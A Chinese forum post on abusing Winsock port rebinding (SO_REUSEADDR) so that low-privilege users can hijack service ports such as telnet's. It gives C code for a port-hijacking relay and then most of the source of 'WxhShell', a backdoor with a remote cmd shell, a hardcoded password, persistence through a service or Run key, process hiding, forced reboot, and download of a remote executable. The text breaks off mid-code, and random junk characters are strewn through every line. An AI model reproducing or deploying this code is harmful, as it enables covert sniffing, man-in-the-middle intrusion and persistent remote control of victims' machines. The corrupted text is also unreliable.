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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I0F [Z\U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f! +d*9  
f/sz/KC]~  
  saddr.sin_family = AF_INET; 0aY|:  
%`bs<ZWT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &b@_ah+f  
DNmC   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vE[d& b[  
&- p(3$jn7  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &3iI\s[  
Ov(k:"N  
  这意味着什么?意味着可以进行如下的攻击: UT@Qo}:  
O.dZ3!!+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '{,JuX"n  
3mo<O}}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <\~@l^lU  
mg*iW55g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _oZ3n2v}@  
d*u3]&?x&f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Wgf f+7k  
*fY*Wy9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s {*rBX8N  
pp|$y\ZzB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c*owP  
XyB_8(/E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZW))Mx#K=T  
Oh}52=  
  #include *=md!^x`  
  #include rE "FN~9P  
  #include [ !~8TF  
  #include    D8k >f ]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h9d*N9!;M  
  int main() Uv k:  
  { cm!vuoB~~  
  WORD wVersionRequested;  2X`t&zg  
  DWORD ret; rxx VLW  
  WSADATA wsaData; F`;q9<NYRW  
  BOOL val; An]Vx<PD  
  SOCKADDR_IN saddr; 3 JlM{N6+  
  SOCKADDR_IN scaddr; P{RGW.Ci@  
  int err; J^WX^".E  
  SOCKET s; 4{,!'NA  
  SOCKET sc;  v?d`fd  
  int caddsize; JrxQ.,*i  
  HANDLE mt; _or_Vw!  
  DWORD tid;   (R s;+S  
  wVersionRequested = MAKEWORD( 2, 2 ); "Z';nmv'N  
  err = WSAStartup( wVersionRequested, &wsaData ); CT\rx>[J.6  
  if ( err != 0 ) { ~Y1nU-  
  printf("error!WSAStartup failed!\n"); x[&)\[t  
  return -1; {Zs EYUP  
  } 0W 1bZPM  
  saddr.sin_family = AF_INET; }L`Z<h*H  
   6EY 0Fjsi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %U[H`E  
Z@ec}`UO|u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D7IhNWrgj  
  saddr.sin_port = htons(23); PTQN.[bBh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wa!C2nB  
  { ZKS]BbMZa  
  printf("error!socket failed!\n"); tI0D{Xrc  
  return -1; xgsEe3|  
  } {p$X*2ReB  
  val = TRUE; oB<!U%BN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?wIw$p>wT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |*~SR.[`  
  { {H=<5   
  printf("error!setsockopt failed!\n"); $7O3+R/=  
  return -1; h5n@SE>G  
  } Lq#!}QcW=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }?CKE<#%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R_80J=%0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +}g6X6m  
msq2/sS~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5sB~.z@  
  { x45F-w{  
  ret=GetLastError(); ACEVd! q  
  printf("error!bind failed!\n"); Eb&=$4c=  
  return -1; wO]H+t  
  } b-J6{=k^  
  listen(s,2); w,1*dn  
  while(1) K7,Sr1O `  
  { F\<{:wu   
  caddsize = sizeof(scaddr); OL.{lKJ3DV  
  //接受连接请求 %YG[?"P'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2\"T&  
  if(sc!=INVALID_SOCKET) K;R!>p}t  
  { *b`1+~p_2  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); d263#R  
  if(mt==NULL) bc6|]kB:  
  { CSzu $Hnq  
  printf("Thread Creat Failed!\n"); \mFgjP z  
  break; e=ry_@7  
  } 5_rx$avm  
  } #_'^oGz`  
  CloseHandle(mt); =_$Hn>vO  
  } G#.q%Up  
  closesocket(s); $F@ ,,*  
  WSACleanup(); g9F?j  
  return 0; dlDO?T  
  }   C)&BtiUN/  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3g3Znb  
  { \ Ju7.3.  
  SOCKET ss = (SOCKET)lpParam; 1 l-Y)   
  SOCKET sc; /b."d\  
  unsigned char buf[4096]; !wo  
  SOCKADDR_IN saddr; 'On%p|s)H  
  long num; XrGP]k6.^  
  DWORD val; &iaS3x  
  DWORD ret; 3 t+1M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I(qFIV+H R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aco w  
  saddr.sin_family = AF_INET; =DXN`]uN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $OaxetPH  
  saddr.sin_port = htons(23); =A_fL{ SM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rs0Wy  
  { ` c"  
  printf("error!socket failed!\n"); /PEL[Os  
  return -1; UYhxgPGsj  
  } Bk/&H-NI  
  val = 100;  ^]?ju L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sV]I]DR  
  { _W>xFBy  
  ret = GetLastError(); fN6n2*wr(  
  return -1; A(+%DZ  
  } KESM5p"f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1YtK+,mz  
  { "-Wb[*U;  
  ret = GetLastError(); rXq{WS`  
  return -1; YVPLHwh/5  
  } T_fM\jdI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kG`&Z9P  
  { JgBC:t^\pV  
  printf("error!socket connect failed!\n"); '%y;{,g*  
  closesocket(sc); 7\yh<?`V8  
  closesocket(ss); <,y> W!  
  return -1; Qw<&N$  
  } \q^:$iY~  
  while(1) U+&Eps&NI  
  { gmZ] E45  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >+):eB L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i ;^Ya  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $CZ'[`+  
  num = recv(ss,buf,4096,0);  BO.Db``  
  if(num>0) <jBRUa[j_  
  send(sc,buf,num,0); aP#/%  
  else if(num==0) pj7v{H+  
  break; .AZwVP<  
  num = recv(sc,buf,4096,0); /O~Np|~v  
  if(num>0) "<LWz&e^^  
  send(ss,buf,num,0); fg4mP_  
  else if(num==0) LL==2KNUo  
  break; a4pewg'  
  } `\f 3Ij,  
  closesocket(ss); Y(R.<LtY  
  closesocket(sc); egVKAR-  
  return 0 ; Eihn%Esa  
  } 1xInU_SPf  
I5 qrHBJ >  
h}kJ,n  
========================================================== u08QE,  
buT6 )~lw  
下边附上一个代码,,WXhSHELL aemi;61T\  
7VL|\^Y`q  
========================================================== nv\K!wZI=b  
I&31jn_o /  
#include "stdafx.h" =[LorvX+  
e5 }amrz  
#include <stdio.h> SZ}=~yoD(  
#include <string.h> (|NCxey  
#include <windows.h> Hq!|r8@6  
#include <winsock2.h> 2_y]MXG+%  
#include <winsvc.h> 'C]Y h."u  
#include <urlmon.h> hS&l4 \I'Z  
"%\hDL;  
#pragma comment (lib, "Ws2_32.lib") ~clX2U8u`  
#pragma comment (lib, "urlmon.lib") EC 1|$Co  
8g Z)c\  
#define MAX_USER   100 // 最大客户端连接数 3bYjW=_hA  
#define BUF_SOCK   200 // sock buffer Id&e'  
#define KEY_BUFF   255 // 输入 buffer )BvMFwQG  
}>d  
#define REBOOT     0   // 重启 W"GW[~ h  
#define SHUTDOWN   1   // 关机 b?c/J {me  
b $J S|  
#define DEF_PORT   5000 // 监听端口 kwL|gO1L  
ts9wSx~[+  
#define REG_LEN     16   // 注册表键长度 -*z7`]5J  
#define SVC_LEN     80   // NT服务名长度 (zsv!U  
_DH^ K 9,9  
// 从dll定义API ~> Q9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }ML2-k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L!lmy&1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^9:`D@Z+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eqsmv [  
)Wr_*>xj  
// wxhshell配置信息 fg3Jv*  
struct WSCFG { PPr Pj^%z=  
  int ws_port;         // 监听端口 #-<Go'yF  
  char ws_passstr[REG_LEN]; // 口令 6UuN-7z!"  
  int ws_autoins;       // 安装标记, 1=yes 0=no T7.Iqw3p  
  char ws_regname[REG_LEN]; // 注册表键名 lz~^*\ F  
  char ws_svcname[REG_LEN]; // 服务名 /HpM17   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y=O+d\_W  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hdH z", )  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '<BLkr# @  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {zvaZY|K"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nw1*);b[y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {pIh/0  
Z%]K,9K  
}; peO@ZKmM  
6dR+qJa6i  
// default Wxhshell configuration mi7?t/D1Z  
struct WSCFG wscfg={DEF_PORT, *VsVCUCz5*  
    "xuhuanlingzhe", rs{)4.I  
    1, #0aBQ+_8H  
    "Wxhshell", E 6TeZ%g  
    "Wxhshell", R+Hu?Dv&F  
            "WxhShell Service", {MUiK 5:  
    "Wrsky Windows CmdShell Service", oxlor,lw/  
    "Please Input Your Password: ", Lc{arhN  
  1, Vb`Vp(>AU  
  "http://www.wrsky.com/wxhshell.exe", e=OHO,74z"  
  "Wxhshell.exe" .cHgYHa  
    }; z/ 1$G"  
i *.Y  
// 消息定义模块 v"o"W[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FfJ;r'eGs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z}!g2d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  n?EgC8b9  
char *msg_ws_ext="\n\rExit."; iH }-  
char *msg_ws_end="\n\rQuit."; uGMzU&+  
char *msg_ws_boot="\n\rReboot..."; ls^Z"9P  
char *msg_ws_poff="\n\rShutdown..."; t^~vi'bB  
char *msg_ws_down="\n\rSave to "; Kd5'2"DI  
1P!)4W  
char *msg_ws_err="\n\rErr!"; 3Tl<ST\  
char *msg_ws_ok="\n\rOK!"; fZo#:"{/K  
lA5Dag'  
char ExeFile[MAX_PATH]; ,I jZQ53q~  
int nUser = 0; W7qh1}_%  
HANDLE handles[MAX_USER];  LgNIb  
int OsIsNt; ?uq`|1`  
~(^P(  
SERVICE_STATUS       serviceStatus; 7y'uZAF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e?]5q ez  
.HS6DOQ  
// 函数声明 !{lH*  
int Install(void); ,2S!$M  
int Uninstall(void); 'I]XX==_  
int DownloadFile(char *sURL, SOCKET wsh); 0kkDlWkzo  
int Boot(int flag); H$h#n~W~  
void HideProc(void); R@o&c%K"  
int GetOsVer(void); j,k3]bP  
int Wxhshell(SOCKET wsl); +X=*>^G(-  
void TalkWithClient(void *cs); MUrPr   
int CmdShell(SOCKET sock); %\m"Yi]  
int StartFromService(void); p~$cwbQ!  
int StartWxhshell(LPSTR lpCmdLine); &jP1Q3  
RuPnWx!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yajdRU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); R=z])  
k;l3^kTy  
// 数据结构和表定义 \vA*dQ-  
SERVICE_TABLE_ENTRY DispatchTable[] = tk"+ u_uw  
{ ^#Ii=K-[^  
{wscfg.ws_svcname, NTServiceMain}, !zA@{gvEc  
{NULL, NULL} f<YYo  
}; |b   
/WuYg OI  
// 自我安装 80=0S^gEZ  
int Install(void) dHnCSOM<  
{ 23}` e  
  char svExeFile[MAX_PATH]; 40t xZFQ0  
  HKEY key; z#*.9/y\^R  
  strcpy(svExeFile,ExeFile); jeC=s~  
aB ,-E>+  
// 如果是win9x系统,修改注册表设为自启动 ?KC(WaGJQ  
if(!OsIsNt) { b#VtPn]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }%|ewy9|CW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =oBpS=<7  
  RegCloseKey(key); 7r:h_r-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ![_x/F9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); idI w7hi4  
  RegCloseKey(key); QNNURf\[(  
  return 0; H"A%mrb  
    } QaWS%0go  
  } ={BD*= i  
} H [=\_X1o(  
else { Xg)8}  
')m!48  
// 如果是NT以上系统,安装为系统服务 ATs_d_Sz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  .U1wVIM  
if (schSCManager!=0) *6Wiq5M>.  
{ Ew8@{X y  
  SC_HANDLE schService = CreateService &.)=>2  
  ( IKD{3cVL  
  schSCManager, fQ<sq0' e\  
  wscfg.ws_svcname, -&Rv=q>  
  wscfg.ws_svcdisp, ~ ld.I4  
  SERVICE_ALL_ACCESS, R<|\Z@z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S$mv(C  
  SERVICE_AUTO_START, E>~R P^?Uz  
  SERVICE_ERROR_NORMAL,  ? wS}'  
  svExeFile, 0m@+ &X>w  
  NULL, zoq;3a5cqB  
  NULL, ?@64gdlwq  
  NULL, Z\!,f.>g  
  NULL, ]Ry9{:  
  NULL P>/:dt'GJ}  
  ); il0K ^i  
  if (schService!=0) A  6(`  
  { [|]J8o@u^  
  CloseServiceHandle(schService); 'HA{6v,y  
  CloseServiceHandle(schSCManager); c{q+h V=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )G P;KUVae  
  strcat(svExeFile,wscfg.ws_svcname); te@m#` p9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {cK<iQJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )V1XL   
  RegCloseKey(key); *!5CL'  
  return 0; R7::f\I   
    } >* -I Io  
  } +=tdgw/  
  CloseServiceHandle(schSCManager); ]7HR U6$  
} sW>%mnx  
} 66=[6U9 *  
-#\T  
return 1; =z1Lim-  
} 4n,&,R r#  
g~U( w  
// 自我卸载 y_X6{}Ke  
int Uninstall(void) }">r0v!3  
{ Y\ [|k-6  
  HKEY key; N/ a4Gl(  
Xaz "!  
if(!OsIsNt) { XYcZ;Z9:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mh%{cLM  
  RegDeleteValue(key,wscfg.ws_regname); 9*"  
  RegCloseKey(key); >8Oa(9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oO2DPcK  
  RegDeleteValue(key,wscfg.ws_regname); P\"kr?jZP  
  RegCloseKey(key); ;*%rFt9FK  
  return 0;  5%-{r&  
  } *byUqY3(  
} ]E9iaq6Z  
} J*@pM  
else { tU4#7b:Y  
Ez1eGPVr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GQ(Y#HSq  
if (schSCManager!=0) {"o9pIh{~  
{ C4m+Ta %  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b(K"CL\p  
  if (schService!=0) F^l1WX6  
  { Nl\`xl6y]  
  if(DeleteService(schService)!=0) { @IG's-  
  CloseServiceHandle(schService); 6,t6~Uo/  
  CloseServiceHandle(schSCManager); ^O}a,  
  return 0; /^=1]+_!  
  } c>bns/f  
  CloseServiceHandle(schService); C'#KTp4!1  
  } Y3 $jNuV  
  CloseServiceHandle(schSCManager); J|W E&5'  
} ~RR!~q  
} *7Vb([x4;  
>a8iY|QY  
return 1; 0)&!$@HW  
} ~&Z>fgOTJ  
c7mKE`  
// 从指定url下载文件 0U=wGI O  
int DownloadFile(char *sURL, SOCKET wsh) N,Y)'s<  
{ ~"+"6zg  
  HRESULT hr; (Yewd/T  
char seps[]= "/"; SaPE 1^}  
char *token; P<pv@ l9)  
char *file; ' ]k<' `b|  
char myURL[MAX_PATH]; 12 p`ZD=  
char myFILE[MAX_PATH]; D!`;vZ\>  
*'((_ NZ>  
strcpy(myURL,sURL); GxdAOiq;  
  token=strtok(myURL,seps); r;Sk[Y5#  
  while(token!=NULL) Z],j|r Wy6  
  { 5dj" UxH  
    file=token; kjYM&q  
  token=strtok(NULL,seps); NQ{(G8x9  
  } MblRdj6  
~qinCIj  
GetCurrentDirectory(MAX_PATH,myFILE); U9oUY> 9  
strcat(myFILE, "\\"); j_JY[sex  
strcat(myFILE, file); B4.: 9Od3  
  send(wsh,myFILE,strlen(myFILE),0); PK]3uh  
send(wsh,"...",3,0); lu.]R>w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @7 Ry{,A  
  if(hr==S_OK) ]}3s/NJi  
return 0; @R&d<^I&M  
else C|ZPnm>f30  
return 1; v@qP &4Sp  
 9q"kM  
} f~VlCdf+  
$toTMah w  
// 系统电源模块 $d*9]M4  
int Boot(int flag) 'rB% a<  
{ i$NlS}W  
  HANDLE hToken; {SV/AN  
  TOKEN_PRIVILEGES tkp; S=4o@3%$  
k%6CkC w  
  if(OsIsNt) { .!3e$mhV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yw|v5/>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `nF SJlr&  
    tkp.PrivilegeCount = 1; x7S\-<8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NWf=mrS8@$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZDW9H6ux  
if(flag==REBOOT) { .\ Ijq!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !Se0&Ob  
  return 0; p}^G#h{  
} LdZVXp^  
else { jrp>Y:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X.b8qbnq[  
  return 0; Bve|+c6W  
} oxxuw Dcl  
  } ]y@A=nR  
  else { VM$n|[C~  
if(flag==REBOOT) { N`W[Q>n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;FqmZjm  
  return 0; COw"6czX/  
} # 55>?  
else { W\l&wR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >eTbg"\  
  return 0; iwF_'I$#N  
} t 'eaR-  
} :-RB< Lj  
FOF@@C~aH  
return 1; Kn^+kHh:  
} 0x<ASfka  
UyRy>:n  
// win9x进程隐藏模块 S70#_{  
void HideProc(void) PMAz[w,R~  
{ h`6 (Oo|  
W]po RTJ:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \HO)ss)"  
  if ( hKernel != NULL ) GlJ[rD  
  { %RD\Sb4YV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =F@ +~)_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /"e@rnn  
    FreeLibrary(hKernel); YYT;a$GTo  
  } P&Ke slk  
H@(O{ 9Yl;  
return; &. =8Q?  
} ,SIS3A>s  
-@XSDfy7S  
// 获取操作系统版本 !Q>xVlPVu  
int GetOsVer(void) K+~?yOQj  
{  vm! y2  
  OSVERSIONINFO winfo; KtaoOe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iDDJJ>F26  
  GetVersionEx(&winfo); Ae7FtJO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %V=%ARP|  
  return 1; :u7BCV|yr  
  else H8YwMhE7  
  return 0; Z#}sK5s  
} J|I*n   
fizW\f8ai  
// 客户端句柄模块 2WS*c7Ct  
int Wxhshell(SOCKET wsl) '#c#.O  
{ )1 -<v);  
  SOCKET wsh; E7O3$B8  
  struct sockaddr_in client; 2B4.o*Q\  
  DWORD myID; J!om"h  
{]6-,/3UR  
  while(nUser<MAX_USER) 1KUjb@"  
{ [0Xuo  
  int nSize=sizeof(client); W/UA%We3+L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I3>8B  
  if(wsh==INVALID_SOCKET) return 1; ~B[e*| d  
-;gQy[U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \~8W0q.4M  
if(handles[nUser]==0) d*tWFr|J-  
  closesocket(wsh); p*PzfSLN  
else n>)aw4  
  nUser++; 9&r]k8K  
  } waMV6w)<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9<3(  QR  
S }`f&  
  return 0; 80Y% C-Y:  
} ';G/,wB?`  
fDDpR=  
// 关闭 socket uQ3sRJi  
void CloseIt(SOCKET wsh) #)}BY"C%  
{ {*;8`+R&  
closesocket(wsh); 6Mk#) ebM  
nUser--; Pt85q?->  
ExitThread(0); Hx6O Dj[-  
} B{\Y~>]Pj  
E"*E[>  
// 客户端请求句柄 S$SCW<LuN  
void TalkWithClient(void *cs) k(G6` dY  
{ ?8$`GyjS  
+F NGRL  
  SOCKET wsh=(SOCKET)cs; I._ A  
  char pwd[SVC_LEN]; jS]Saqd  
  char cmd[KEY_BUFF]; 7W}%ralkg  
char chr[1]; {*bx8*y1  
int i,j; \X\< +KU  
g<;pyvq|:  
  while (nUser < MAX_USER) {  pF6u3]  
WCd: (8B  
if(wscfg.ws_passstr) { J jZB!Lg=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \\EX'L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (su7*$wV  
  //ZeroMemory(pwd,KEY_BUFF); a4uy}@9z  
      i=0; 28v^j*=* \  
  while(i<SVC_LEN) { zW\a)~ E  
"{@[06|1  
  // 设置超时 j8Mt"B  
  fd_set FdRead; W2h*t"5W  
  struct timeval TimeOut; d>#',C#;  
  FD_ZERO(&FdRead); \roJf&O }  
  FD_SET(wsh,&FdRead); b,:^\HKC  
  TimeOut.tv_sec=8; #<Y3*^~5d  
  TimeOut.tv_usec=0; 3VU4E|s>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i<m) s$u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Znc|<  
m~;.kc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r=.@APZB  
  pwd=chr[0]; Vc(kw7  
  if(chr[0]==0xd || chr[0]==0xa) { :!Z|_y{b  
  pwd=0; c^"4l 9w  
  break; ^%%Rf  
  } ?v,c)  
  i++; y)L X?d  
    } ~9rNP{+  
Hwd^C 2v  
  // 如果是非法用户,关闭 socket :?EZ\WM7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B}NJs,'FJ  
} p".wqg*W  
3Yx'/=]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .>,Y |  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4D 5Wse  
[e\IHakj  
while(1) { IW@xT@  
U*N{H$ACuR  
  ZeroMemory(cmd,KEY_BUFF); ,;YNI  
G \a`F'Oo  
      // 自动支持客户端 telnet标准   g_PP 9S_?  
  j=0; [V /f{y~ {  
  while(j<KEY_BUFF) { <Ed;tq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u*qI$?&  
  cmd[j]=chr[0]; 5mVO9Q j  
  if(chr[0]==0xa || chr[0]==0xd) { i.K!;E>  
  cmd[j]=0; _nzTd\L88  
  break; \N0wf-qa=  
  } V*?QZ;hCP  
  j++; vx6lud0k}  
    } t~}c"|<t  
AD!w:jT9  
  // 下载文件 b'FTy i  
  if(strstr(cmd,"http://")) { TUGD!b{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1foG*   
  if(DownloadFile(cmd,wsh)) UZ<.R"aK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _H}hK kG+  
  else a` 9pHH:7Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O.Te"=^"F  
  } y] 9/Xr/  
  else { LO%e1y  
[T'[7 Z  
    switch(cmd[0]) { pi70^`@'B  
  K)1Lg? j  
  // 帮助 Z9h4 pd  
  case '?': { $B9?>a|{A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4a!%eBhX"K  
    break; 37IHn6r\  
  } r.u\qPT&  
  // 安装 K5<2jl3S  
  case 'i': { AL&<SxuP  
    if(Install()) 7F2:'3SQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e&A3=a~\s  
    else f;+.j/ +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )_Hv9!U]e  
    break; d@8: f  
    } ^K8XY@{&  
  // 卸载  D5Jg(-  
  case 'r': { wmMn1q0F  
    if(Uninstall()) ,'<NyA><  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V3|" v4  
    else HsRoiqo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z 36Y/{>[  
    break; cJSwA&  
    } cN2Pl%7  
  // 显示 wxhshell 所在路径 +?QHSIQo  
  case 'p': { "-5FUKI-  
    char svExeFile[MAX_PATH]; z#n+iC$9  
    strcpy(svExeFile,"\n\r"); ^[+2P?^K  
      strcat(svExeFile,ExeFile); ::GW  
        send(wsh,svExeFile,strlen(svExeFile),0); ,DCUBD u&  
    break; yk^2<?z>2  
    } ?!c7Zx,(  
  // 重启  YO fYa  
  case 'b': { U3M;{_g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n~jW  
    if(Boot(REBOOT)) q{[y4c1bG{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V sL*&Fk  
    else { *y+K{ fM1  
    closesocket(wsh); |1<B(iB'{/  
    ExitThread(0); 3+ C;zDKa  
    } z>=;Xe8P8n  
    break; #!m^EqF1_  
    } {)kL7>u]^V  
  // 关机 :2b*E`+  
  case 'd': { C.}ho.} r  
